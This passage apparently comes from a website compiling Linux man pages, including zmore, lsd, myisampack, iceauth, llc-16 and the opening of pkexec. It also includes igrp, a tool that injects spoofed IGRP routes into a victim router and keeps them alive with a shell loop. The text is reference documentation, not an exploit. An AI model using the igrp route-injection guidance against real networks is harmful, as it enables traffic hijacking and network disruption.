skip i screenfuls and print a screenful of lines

q or Q
Quit.

=
Display the current line number.

i/expr
search for the *i *-th occurrence of the regular expression expr. The user’s erase and kill characters may be used to edit the regular expression. Erasing back past the first column cancels the search command.

i n
search for the *i *-th occurrence of the last regular expression entered.

!command
invoke a shell with command. The character `!’ in “command” is replaced with the previous shell command. The sequence “" is replaced by “!”.

:q or :Q
Quit (same as q or Q).

.
(dot) repeat the previous command.

The commands take effect immediately, i.e., it is not necessary to type a carriage return. Up to the time when the command character itself is given, the user may hit the line kill character to cancel the numerical argument being formed. In addition, the user may hit the erase character to redisplay the –More– message.

At any time when output is being sent to the terminal, the user can hit the quit key (normally control-. The zmore command will stop sending output, and will display the usual –More– prompt. The user may then enter one of the above commands in the normal manner. Unfortunately, some output is lost when this is done, due to the fact that any characters waiting in the terminal’s output queue are flushed when the quit signal occurs.

The terminal is set to noecho mode by this program so that the output can be continuous. What you type will thus not show on your terminal, except for the / and ! commands.

If the standard output is not a teletype, then zmore acts just like zcat, except that a header is printed before each file if there is more than one file.

FILES

/etc/termcap
Terminal data base

SEE ALSO

more(1), gzip(1), zdiff(1), zgrep(1), znew(1), zforce(1), gzexe(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

533 - Linux cli command igrp

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command igrp and provides detailed information about the command igrp, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the igrp.

NAME 🖥️ igrp 🖥️

igrp route injector

SYNOPSIS

igrp -i <interface> -v -f <routes file> -a <as number> -S <spoofed source ip addrs> -D <destination router ip addrs>

DESCRIPTION

This manual page documents briefly the igrp command. This manual page was written for the Debian distribution because the original program does not have a manual page.

IGRP is a tool for route injection. The routing protocol IGRP is no longer really widely used in the outside world, but for the first steps, we decided to use this one as a starting point.

The whole purpose is to define a routing table with all possible parameters by hand without having your system actually running any kind of dynamic routing and sending this information out to the routers. Since IGRP is a broadcast based protocol, the default behavior is to send these messages to the ip broadcast address (255.255.255.255). If you want to inject a route to a system remote from you, you have to address the ‘update’ accordingly and make sure that you send the packet(s) with the right source address, so the router accepts the update.

Before using the tool, you have to design your routing table you want to inject in the target router. It should contain data which makes your route the preferred one for the victim. The format is:

destination:delay:bandwidth:mtu:reliability:load:hopcount

where destination is the network (192.168.1.0), delay is in ms/10, bandwidth in MBit per second, MTU is the maximum transfer unit (1500 for ethernet), reliability and load are in percent (255=100%, 1=0%) and hopcount just in hops.

Empty lines and lines beginning with # are ignored.

-i <interface> interface

-v verbose

-f <routes file> file, which contains the routes (as much as you like)

-a <autonomous system> autonomous system the IGRP process is running on, use ASS to find it out or specify a range to use with -a START -b STOP to send updates to all AS from START to STOP (I highly recommend using ASS for this!!)

-S <spoofed source IP> maybe you need this

-D <destination IP> If you don’t specify this, the broadcast address is used

If you want the routes to be persistent (after some testing around), make up a shell loop and run the program within this loop every 25-30 seconds, to keep the router believing your routes.

AUTHOR

This manual page was written by Vince Mulhollon <[email protected]>, for the Debian GNU/Linux system (but may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

534 - Linux cli command lsd

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command lsd and provides detailed information about the command lsd, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the lsd.

NAME 🖥️ lsd 🖥️

An ls command with a lot of pretty colors and some other stuff.

SYNOPSIS

lsd [–help] [-V|–version] [-a|–all] [-A|–almost-all] [–color] [–icon] [–icon-theme] [-F|–classify] [-l|–long] [–ignore-config] [–config-file] [-1|–oneline] [-R|–recursive] [-h|–human-readable] [–tree] [–depth] [-d|–directory-only] [–permission] [–size] [–total-size] [–date] [-t|–timesort] [-S|–sizesort] [-X|–extensionsort] [-v|–versionsort] [–sort] [-U|–no-sort] [-r|–reverse] [–group-dirs] [–group-directories-first] [–blocks] [–classic] [–no-symlink] [-I|–ignore-glob] [-i|–inode] [-L|–dereference] [-Z|–context] [–hyperlink] [FILE]

DESCRIPTION

An ls command with a lot of pretty colors and some other stuff.

OPTIONS

–help
Print help information

-V, –version
Print version information

-a, –all
Do not ignore entries starting with .

-A, –almost-all
Do not list implied . and ..

–color [default: auto]
When to use terminal colours

–icon [default: auto]
When to print the icons

–icon-theme [default: fancy]
Whether to use fancy or unicode icons

-F, –classify
Append indicator (one of */=>@|) at the end of the file names

-l, –long
Display extended file metadata as a table

–ignore-config
Ignore the configuration file

–config-file=config-file
Provide a custom lsd configuration file

-1, –oneline
Display one entry per line

-R, –recursive
Recurse into directories

-h, –human-readable
For ls compatibility purposes ONLY, currently set by default

–tree
Recurse into directories and present the result as a tree

–depth=num
Stop recursing into directories after reaching specified depth

-d, –directory-only
Display directories themselves, and not their contents (recursively when used with –tree)

–permission [default: rwx]
How to display permissions

–size [default: default]
How to display size

–total-size
Display the total size of directories

–date [default: date]
How to display date [possible values: date, relative, +date-time-format]

-t, –timesort
Sort by time modified

-S, –sizesort
Sort by size

-X, –extensionsort
Sort by file extension

-v, –versionsort
Natural sort of (version) numbers within text

–sort=WORD
sort by WORD instead of name

-U, –no-sort
Do not sort. List entries in directory order

-r, –reverse
Reverse the order of the sort

–group-dirs
Sort the directories then the files

–group-directories-first
Groups the directories at the top before the files. Same as –group-dirs=first

–blocks
Specify the blocks that will be displayed and in what order

–classic
Enable classic mode (display output similar to ls)

–no-symlink
Do not display symlink target

-I, –ignore-glob=pattern [default: ]
Do not display files/directories with names matching the glob pattern(s). More than one can be specified by repeating the argument

-i, –inode
Display the index number of each file

-L, –dereference
When showing file information for a symbolic link, show information for the file the link references rather than for the link itself

-Z, –context
Print security context (label) of each file

–hyperlink [default: never]
Attach hyperlink to filenames

[FILE] [default: .]

VERSION

v0.21.0

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

535 - Linux cli command myisampack

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command myisampack and provides detailed information about the command myisampack, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the myisampack.

NAME 🖥️ myisampack 🖥️

generate compressed, read-only MyISAM tables

SYNOPSIS

myisampack [options] file_name

DESCRIPTION

The myisampack utility compresses MyISAM tables. myisampack works by compressing each column in the table separately. Usually, myisampack packs the data file 40%–70%.

When the table is used later, the server reads into memory the information needed to decompress columns. This results in much better performance when accessing individual rows, because you only have to uncompress exactly one row.

MySQL uses mmap() when possible to perform memory mapping on compressed tables. If mmap() does not work, MySQL falls back to normal read/write file operations.

Please note the following:

·

If the mysqld server was invoked with external locking disabled, it is not a good idea to invoke myisampack if the table might be updated by the server during the packing process. It is safest to compress tables with the server stopped.

·

After packing a table, it becomes read only. This is generally intended (such as when accessing packed tables on a CD).

Invoke myisampack like this:

shell> myisampack [options] file_name …

Each file name argument should be the name of an index (.MYI) file. If you are not in the database directory, you should specify the path name to the file. It is permissible to omit the .MYI extension.

After you compress a table with myisampack, you should use myisamchk -rq to rebuild its indexes. myisamchk(1).

myisampack supports the following options. It also reads option files and supports the options for processing them described at Section 4.2.3.3.1, “Command-Line Options that Affect Option-File Handling”.

·

–help, -?

Display a help message and exit.

·

–backup, -b

Make a backup of each table’s data file using the name tbl_name.OLD.

·

**–character-sets-dir=**path

The directory where character sets are installed. See Section 9.5, “Character Set Configuration”.

·

–debug[=debug_options], -# [debug_options]

Write a debugging log. A typical debug_options string is ’d:t:o,file_name’. The default is ’d:t:o'.

·

–force, -f

Produce a packed table even if it becomes larger than the original or if the intermediate file from an earlier invocation of myisampack exists. (myisampack creates an intermediate file named tbl_name.TMD in the database directory while it compresses the table. If you kill myisampack, the .TMD file might not be deleted.) Normally, myisampack exits with an error if it finds that tbl_name.TMD exists. With –force, myisampack packs the table anyway.

·

**–join=**big_tbl_name, -j big_tbl_name

Join all tables named on the command line into a single packed table big_tbl_name. All tables that are to be combined must have identical structure (same column names and types, same indexes, and so forth).

big_tbl_name must not exist prior to the join operation. All source tables named on the command line to be merged into big_tbl_name must exist. The source tables are read for the join operation but not modified. The join operation does not create a .frm file for big_tbl_name, so after the join operation finishes, copy the .frm file from one of the source tables and name it big_tbl_name.frm.

·

–silent, -s

Silent mode. Write output only when errors occur.

·

–test, -t

Do not actually pack the table, just test packing it.

·

**–tmpdir=**path, -T path

Use the named directory as the location where myisampack creates temporary files.

·

–verbose, -v

Verbose mode. Write information about the progress of the packing operation and its result.

·

–version, -V

Display version information and exit.

·

–wait, -w

Wait and retry if the table is in use. If the mysqld server was invoked with external locking disabled, it is not a good idea to invoke myisampack if the table might be updated by the server during the packing process.

The following sequence of commands illustrates a typical table compression session:

shell> ls -l station.* -rw-rw-r– 1 monty my 994128 Apr 17 19:00 station.MYD -rw-rw-r– 1 monty my 53248 Apr 17 19:00 station.MYI -rw-rw-r– 1 monty my 5767 Apr 17 19:00 station.frm shell> myisamchk -dvv station MyISAM file: station Isam-version: 2 Creation time: 1996-03-13 10:08:58 Recover time: 1997-02-02 3:06:43 Data records: 1192 Deleted blocks: 0 Datafile parts: 1192 Deleted data: 0 Datafile pointer (bytes): 2 Keyfile pointer (bytes): 2 Max datafile length: 54657023 Max keyfile length: 33554431 Recordlength: 834 Record format: Fixed length table description: Key Start Len Index Type Root Blocksize Rec/key 1 2 4 unique unsigned long 1024 1024 1 2 32 30 multip. text 10240 1024 1 Field Start Length Type 1 1 1 2 2 4 3 6 4 4 10 1 5 11 20 6 31 1 7 32 30 8 62 35 9 97 35 10 132 35 11 167 4 12 171 16 13 187 35 14 222 4 15 226 16 16 242 20 17 262 20 18 282 20 19 302 30 20 332 4 21 336 4 22 340 1 23 341 8 24 349 8 25 357 8 26 365 2 27 367 2 28 369 4 29 373 4 30 377 1 31 378 2 32 380 8 33 388 4 34 392 4 35 396 4 36 400 4 37 404 1 38 405 4 39 409 4 40 413 4 41 417 4 42 421 4 43 425 4 44 429 20 45 449 30 46 479 1 47 480 1 48 481 79 49 560 79 50 639 79 51 718 79 52 797 8 53 805 1 54 806 1 55 807 20 56 827 4 57 831 4 shell> myisampack station.MYI Compressing station.MYI: (1192 records) - Calculating statistics normal: 20 empty-space: 16 empty-zero: 12 empty-fill: 11 pre-space: 0 end-space: 12 table-lookups: 5 zero: 7 Original trees: 57 After join: 17 - Compressing file 87.14% Remember to run myisamchk -rq on compressed tables shell> ls -l station.* -rw-rw-r– 1 monty my 127874 Apr 17 19:00 station.MYD -rw-rw-r– 1 monty my 55296 Apr 17 19:04 station.MYI -rw-rw-r– 1 monty my 5767 Apr 17 19:00 station.frm shell> myisamchk -dvv station MyISAM file: station Isam-version: 2 Creation time: 1996-03-13 10:08:58 Recover time: 1997-04-17 19:04:26 Data records: 1192 Deleted blocks: 0 Datafile parts: 1192 Deleted data: 0 Datafile pointer (bytes): 3 Keyfile pointer (bytes): 1 Max datafile length: 16777215 Max keyfile length: 131071 Recordlength: 834 Record format: Compressed table description: Key Start Len Index Type Root Blocksize Rec/key 1 2 4 unique unsigned long 10240 1024 1 2 32 30 multip. text 54272 1024 1 Field Start Length Type Huff tree Bits 1 1 1 constant 1 0 2 2 4 zerofill(1) 2 9 3 6 4 no zeros, zerofill(1) 2 9 4 10 1 3 9 5 11 20 table-lookup 4 0 6 31 1 3 9 7 32 30 no endspace, not_always 5 9 8 62 35 no endspace, not_always, no empty 6 9 9 97 35 no empty 7 9 10 132 35 no endspace, not_always, no empty 6 9 11 167 4 zerofill(1) 2 9 12 171 16 no endspace, not_always, no empty 5 9 13 187 35 no endspace, not_always, no empty 6 9 14 222 4 zerofill(1) 2 9 15 226 16 no endspace, not_always, no empty 5 9 16 242 20 no endspace, not_always 8 9 17 262 20 no endspace, no empty 8 9 18 282 20 no endspace, no empty 5 9 19 302 30 no endspace, no empty 6 9 20 332 4 always zero 2 9 21 336 4 always zero 2 9 22 340 1 3 9 23 341 8 table-lookup 9 0 24 349 8 table-lookup 10 0 25 357 8 always zero 2 9 26 365 2 2 9 27 367 2 no zeros, zerofill(1) 2 9 28 369 4 no zeros, zerofill(1) 2 9 29 373 4 table-lookup 11 0 30 377 1 3 9 31 378 2 no zeros, zerofill(1) 2 9 32 380 8 no zeros 2 9 33 388 4 always zero 2 9 34 392 4 table-lookup 12 0 35 396 4 no zeros, zerofill(1) 13 9 36 400 4 no zeros, zerofill(1) 2 9 37 404 1 2 9 38 405 4 no zeros 2 9 39 409 4 always zero 2 9 40 413 4 no zeros 2 9 41 417 4 always zero 2 9 42 421 4 no zeros 2 9 43 425 4 always zero 2 9 44 429 20 no empty 3 9 45 449 30 no empty 3 9 46 479 1 14 4 47 480 1 14 4 48 481 79 no endspace, no empty 15 9 49 560 79 no empty 2 9 50 639 79 no empty 2 9 51 718 79 no endspace 16 9 52 797 8 no empty 2 9 53 805 1 17 1 54 806 1 3 9 55 807 20 no empty 3 9 56 827 4 no zeros, zerofill(2) 2 9 57 831 4 no zeros, zerofill(1) 2 9

myisampack displays the following kinds of information:

·

normal

The number of columns for which no extra packing is used.

·

empty-space

The number of columns containing values that are only spaces. These occupy one bit.

·

empty-zero

The number of columns containing values that are only binary zeros. These occupy one bit.

·

empty-fill

The number of integer columns that do not occupy the full byte range of their type. These are changed to a smaller type. For example, a BIGINT column (eight bytes) can be stored as a TINYINT column (one byte) if all its values are in the range from -128 to 127.

·

pre-space

The number of decimal columns that are stored with leading spaces. In this case, each value contains a count for the number of leading spaces.

·

end-space

The number of columns that have a lot of trailing spaces. In this case, each value contains a count for the number of trailing spaces.

·

table-lookup

The column had only a small number of different values, which were converted to an ENUM before Huffman compression.

·

zero

The number of columns for which all values are zero.

·

Original trees

The initial number of Huffman trees.

·

After join

The number of distinct Huffman trees left after joining trees to save some header space.

After a table has been compressed, the Field lines displayed by myisamchk -dvv include additional information about each column:

·

Type

The data type. The value may contain any of the following descriptors:

·

constant

All rows have the same value.

·

no endspace

Do not store endspace.

·

no endspace, not_always

Do not store endspace and do not do endspace compression for all values.

·

no endspace, no empty

Do not store endspace. Do not store empty values.

·

table-lookup

The column was converted to an ENUM.

·

zerofill(N)

The most significant N bytes in the value are always 0 and are not stored.

·

no zeros

Do not store zeros.

·

always zero

Zero values are stored using one bit.

·

Huff tree

The number of the Huffman tree associated with the column.

·

Bits

The number of bits used in the Huffman tree.

After you run myisampack, you must run myisamchk to re-create any indexes. At this time, you can also sort the index blocks and create statistics needed for the MySQL optimizer to work more efficiently:

shell> myisamchk -rq –sort-index –analyze tbl_name.MYI

After you have installed the packed table into the MySQL database directory, you should execute mysqladmin flush-tables to force mysqld to start using the new table.

To unpack a packed table, use the –unpack option to myisamchk.

COPYRIGHT

Copyright 2007-2008 MySQL AB, 2008-2010 Sun Microsystems, Inc., 2010-2020 MariaDB Foundation

This documentation is free software; you can redistribute it and/or modify it only under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License.

This documentation is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with the program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1335 USA or see http://www.gnu.org/licenses/.

SEE ALSO

For more information, please refer to the MariaDB Knowledge Base, available online at https://mariadb.com/kb/

AUTHOR

MariaDB Foundation (http://www.mariadb.org/).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

536 - Linux cli command iceauth

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command iceauth and provides detailed information about the command iceauth, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the iceauth.

NAME 🖥️ iceauth 🖥️

ICE authority file utility

SYNOPSIS

iceauth [ -f authfile ] [ -vqibuV ] [ command arg … ]

DESCRIPTION

The iceauth program is used to edit and display the authorization information used in connecting with ICE. This program is usually used to extract authorization records from one machine and merge them in on another (as is the case when using remote logins or granting access to other users). Commands (described below) may be entered interactively, on the iceauth command line, or in scripts.

OPTIONS

-f authfile Name of the authority file to use. Will default to the file currently in use by the session.

-v Turns on extra messages (verbose mode)

-q Turns off extra messages (quiet mode)

-i Ignore the locks on the authority file

-b Break the locks on the authority file

-u Print basic usage instructions

-V Print version and exit

USAGE

When iceauth is run it will allow the following set of commands to be entered interactively or in scripts.

?

List available commands.

help

Print help information. You may supply a command name to help to get specific information about it.

info

Print information about the entries in the authority file.

list

List (print) entries in the authority file. You may specify optional modifiers as below to specify which entries are listed.

list [ protocol_name ] [ protocol_data ] [ netid ] [ authname ]

add

Add an entry to the authority file. This must be in the format

add protocol_name protocol_data netid authname authdata

remove

Remove entries from the authority file.

remove [ protocol_name ] [ protocol_data ] [ netid ] [ authname ]

extract

Extract entries from the authority file in to a destination file. You must supply the path to the destination to this command as in the following format. Optional specifiers allow you to narrow which entries are extracted.

extract filename [ protocol_name ] [ protocol_data ] [ netid ] [ authname ]

merge

Merge entries from other files in to the authority file selected by the program. You may supply any number of file paths to this command as follows:

merge filename1 [ filename2 ] [ filename3 ] …

exit

Save changes and exit the program.

quit

Abort changes and exit the program without saving.

source

Read and execute commands from a file.

source filename

AUTHOR

Ralph Mor, X Consortium

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

537 - Linux cli command llc-16

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llc-16 and provides detailed information about the command llc-16, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llc-16.

NAME 🖥️ llc-16 🖥️

LLVM static compiler

SYNOPSIS

llc [options] [filename]

DESCRIPTION

The llc command compiles LLVM source inputs into assembly language for a specified architecture. The assembly language output can then be passed through a native assembler and linker to generate a native executable.

The choice of architecture for the output assembly code is automatically determined from the input file, unless the -march option is used to override the default.

OPTIONS

If filename is “-” or omitted, llc reads from standard input. Otherwise, it will read from filename. Inputs can be in either the LLVM assembly language format (.ll) or the LLVM bitcode format (.bc).

If the -o option is omitted, then llc will send its output to standard output if the input is from standard input. If the -o option specifies “-”, then the output will also be sent to standard output.

If no -o option is specified and an input file other than “-” is specified, then llc creates the output filename by taking the input filename, removing any existing .bc extension, and adding a .s suffix.

Other llc options are described below.

End-user Options

-help
Print a summary of command line options.

-o <filename>
Use <filename> as the output filename. See the summary above for more details.

-O=uint
Generate code at different optimization levels. These correspond to the -O0, -O1, -O2, and -O3 optimization levels used by clang.

-mtriple=<target triple>
Override the target triple specified in the input file with the specified string.

-march=<arch>
Specify the architecture for which to generate assembly, overriding the target encoded in the input file. See the output of llc -help for a list of valid architectures. By default this is inferred from the target triple or autodetected to the current architecture.

-mcpu=<cpuname>
Specify a specific chip in the current architecture to generate code for. By default this is inferred from the target triple and autodetected to the current architecture. For a list of available CPUs, use:

llvm-as < /dev/null | llc -march=xyz -mcpu=help

-filetype=<output file type>
Specify what kind of output llc should generated. Options are: asm for textual assembly ( ’.s’), obj for native object files (’.o’) and null for not emitting anything (for performance testing).

Note that not all targets support all options.

-mattr=a1,+a2,-a3,…
Override or control specific attributes of the target, such as whether SIMD operations are enabled or not. The default set of attributes is set by the current CPU. For a list of available attributes, use:

llvm-as < /dev/null | llc -march=xyz -mattr=help

–frame-pointer
Specify effect of frame pointer elimination optimization (all,non-leaf,none).

–disable-excess-fp-precision
Disable optimizations that may produce excess precision for floating point. Note that this option can dramatically slow down code on some systems (e.g. X86).

–enable-no-infs-fp-math
Enable optimizations that assume no Inf values.

–enable-no-nans-fp-math
Enable optimizations that assume no NAN values.

–enable-no-signed-zeros-fp-math
Enable FP math optimizations that assume the sign of 0 is insignificant.

–enable-no-trapping-fp-math
Enable setting the FP exceptions build attribute not to use exceptions.

–enable-unsafe-fp-math
Enable optimizations that make unsafe assumptions about IEEE math (e.g. that addition is associative) or may not work for all input ranges. These optimizations allow the code generator to make use of some instructions which would otherwise not be usable (such as fsin on X86).

–stats
Print statistics recorded by code-generation passes.

–time-passes
Record the amount of time needed for each pass and print a report to standard error.

–load=<dso_path>
Dynamically load dso_path (a path to a dynamically shared object) that implements an LLVM target. This will permit the target name to be used with the -march option so that code can be generated for that target.

-meabi=[default|gnu|4|5]
Specify which EABI version should conform to. Valid EABI versions are gnu, 4 and 5. Default value (default) depends on the triple.

-stack-size-section
Emit the .stack_sizes section which contains stack size metadata. The section contains an array of pairs of function symbol values (pointer size) and stack sizes (unsigned LEB128). The stack size values only include the space allocated in the function prologue. Functions with dynamic stack allocations are not included.

-remarks-section
Emit the __remarks (MachO) section which contains metadata about remark diagnostics.

Tuning/Configuration Options

–print-after-isel
Print generated machine code after instruction selection (useful for debugging).

–regalloc=<allocator>
Specify the register allocator to use. Valid register allocators are:

basic

Basic register allocator.

fast

Fast register allocator. It is the default for unoptimized code.

greedy

Greedy register allocator. It is the default for optimized code.

pbqp

Register allocator based on ‘Partitioned Boolean Quadratic Programming’.

–spiller=<spiller>
Specify the spiller to use for register allocators that support it. Currently this option is used only by the linear scan register allocator. The default spiller is local. Valid spillers are:

simple

Simple spiller

local

Local spiller

Intel IA-32-specific Options

–x86-asm-syntax=[att|intel]
Specify whether to emit assembly code in AT&T syntax (the default) or Intel syntax.

EXIT STATUS

If llc succeeds, it will exit with 0. Otherwise, if an error occurs, it will exit with a non-zero value.

SEE ALSO

lli(1)

AUTHOR

Maintained by the LLVM Team (https://llvm.org/).

COPYRIGHT

2003-2024, LLVM Project

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

538 - Linux cli command pkexec

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pkexec and provides detailed information about the command pkexec, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pkexec.

NAME 🖥️ pkexec 🖥️

Execute a command as another user

SYNOPSIS

pkexec [–version] [–disable-internal-agent] [–help]

pkexec [–keep-cwd] [–user username] PROGRAM [ARGUMENTS…]

DESCRIPTION

pkexec allows an authorized user to execute PROGRAM as another user. If PROGRAM is not specified, the default shell will be run. If username is not specified, then the program will be executed as the administrative super user, root.

RETURN VALUE

Upon successful completion, the return value is the return value of PROGRAM. If the calling process is not authorized or an authorization could not be obtained through authentication or an error occured, pkexec exits with a return value of 127. If the authorization could not be obtained because the user dismissed the authentication dialog, pkexec exits with a return value of 126.

AUTHENTICATION AGENT

pkexec, like any other polkit application, will use the authentication agent registered for the calling process or session. However, if no authentication agent is available, then pkexec will register its own textual authentication agent. This behavior can be turned off by passing the –disable-internal-agent option.

SECURITY NOTES

Executing a program as another user is a privileged operation. By default the action to check for (see the section called “ACTION AND AUTHORIZATIONS”) requires administrator authentication. In addition, the authentication dialog presented to the user will display the full path to the program to be executed so the user is aware of what will happen.

The environment that PROGRAM will run it, will be set to a minimal known and safe environment in order to avoid injecting code through LD_LIBRARY_PATH or similar mechanisms. In addition the PKEXEC_UID environment variable is set to the user id of the process invoking pkexec. As a result, pkexec will not by default allow you to run X11 applications as another user since the $DISPLAY and $XAUTHORITY environment variables are not set. These two variables will be retained if the org.freedesktop.policykit.exec.allow_gui annotation on an action is set to a nonempty value; this is discouraged, though, and should only be used for legacy programs.

pkexec will run PROGRAM in usernames home directory, unless –keep-cwd is used to override this behavior

Note that pkexec does no validation of the ARGUMENTS passed to PROGRAM. In the normal case (where administrator authentication is required every time pkexec is used), this is not a problem since if the user is an administrator he might as well just run pkexec bash to get root.

However, if an action is used for which the user can retain authorization (or if the user is implicitly authorized) this could be a security hole. Therefore, as a rule of thumb, programs for which the default required authorization is changed, should never implicitly trust user input (e.g. like any other well-written suid program).

ACTION AND AUTHORIZATIONS

